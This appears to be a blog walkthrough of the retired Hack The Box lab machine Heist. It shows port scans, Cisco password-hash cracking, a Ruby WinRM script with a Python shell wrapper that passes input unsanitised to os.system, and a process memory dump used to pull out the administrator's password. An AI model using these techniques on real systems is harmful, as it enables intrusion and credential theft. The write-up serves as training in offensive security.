This post documents the complete walkthrough of Heist, a retired vulnerable VM created by MinatoTW, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Heist is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.149 --rate=1000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-08-17 05:02:21 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 135/tcp on 10.10.10.149
Discovered open port 49668/tcp on 10.10.10.149
Discovered open port 5985/tcp on 10.10.10.149
Discovered open port 445/tcp on 10.10.10.149
Discovered open port 80/tcp on 10.10.10.149
Hmm. It’s Windows alright. Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p80,135,445,5985,49668 -A --reason -oN nmap.txt 10.10.10.149
...
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds? syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
nmap
finds RPC, SMB and WinRM open but SMB is not leaking any public shares. We’ll just have to explore the http
service first, which appears to be running PHP. This is what the site looks like.
The site allows guest login. Check it out.
And there’s an attachment!
There is one type-5 cisco password hash and two type-7 password hashes. The type-5 password hash is simply MD5, which John the Ripper can easily crack.
For the two type-7 hashes, I found an online cracker that’ll reveal the passwords instanteanously.
So, there we have it. Two-and-a-half pair of credentials.
stealth1agent
rout3r:[email protected]
admin: Q4)sJu\Y8qz*A3?d
PowerShell Remoting (sort of)
For one, we know that this credential (hazard:stealh1agent
) is valid from smbmap
.
You might ask what’s next? Well, WinRM is open, isn’t it? We can make use of the WinRM Ruby library, combined with a Python shell to “simulate” a PowerShell session.
Unfortunately, that isn’t the correct credential. We need to determine more usernames. Enter Impacket’s lookupsid.py
. This nifty script, combined with hazard
’s credential will help us in gathering the username we need.
Long story short, this credential (chase:Q4)sJu\Y8qz*A3?d
) is the right combination.
require 'winrm'
opts = {
endpoint: 'http://10.10.10.149:5985/wsman',
user: 'chase',
password: 'Q4)sJu\Y8qz*A3?d',
}
# Powershell commands
cmd = ARGV[0]
conn = WinRM::Connection.new(opts)
conn.shell(:powershell) do |shell|
output = shell.run(cmd) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
# puts "The script exited with exit code #{output.exitcode}"
end
This script takes in one argument: the command to run in PowerShell runspace. Next up, we have a rudimentary Python shell that sends the command to the ruby script.
from cmd import Cmd
import os
class Shell(Cmd):
def do_quit(self, line):
"""Quits the shell"""
print "Quiting"
raise SystemExit
def default(self, line):
os.system("ruby cmd.rb " + "'" + line + "'")
if __name__ == "__main__":
s = Shell()
s.prompt = 'PS> '
s.cmdloop("Windows PowerShell\nCopyright (C) Microsoft Corporation. All rights reserved.\n")
Let’s give it a shot.
Low-Privileged Shell
It’s all fine and dandy but it’s also kinda slow. I’d personally suggest checking Evil-WinRM which is a far more superior shell, if you haven’t already done so.
The file user.txt
is at chase
’s desktop.
Privilege Escalation
During enumeration of chase
’s account, I notice the password hash of what I believe belongs to administrator
in login.php
.
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
if( $_REQUEST['login_username'] === '[email protected]' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
$_SESSION['admin'] = "valid";
header('Location: issues.php');
}
else
header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
if( $_GET['guest'] === 'true' ) {
$_SESSION['guest'] = "valid";
header('Location: issues.php');
}
}
?>
There’s also a subtle hint in todo.txt
that says something like this.
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.
Done:
1. Restricted access for guest user.
Something tells me that chase
is constantly checking issues.php
.
Now, if we can dump out the process memory, maybe we can search for the password from it? Long story short, SysInternal’s ProcDump didn’t work for me so I went for Out-Minidump.ps1
instead.
I appended the following line to the PowerShell script like so.
Out-Minidump -Process (Get-Process -ID 6636) -DumpFilePath C:\Windows\Tracing
I chose to dump out process 6636 because it got the most number of handles. Next, I host it with Python’s SimpleHTTPServer and download to the machine using certutil.exe
.
Time to dump it!
Sweet. Let\s see if we can find we want.
We can clearly see the credential ([email protected]:4dD!5}x/re8]FBuZ
). Armed with administrator
’s password, we can get the shell we deserve.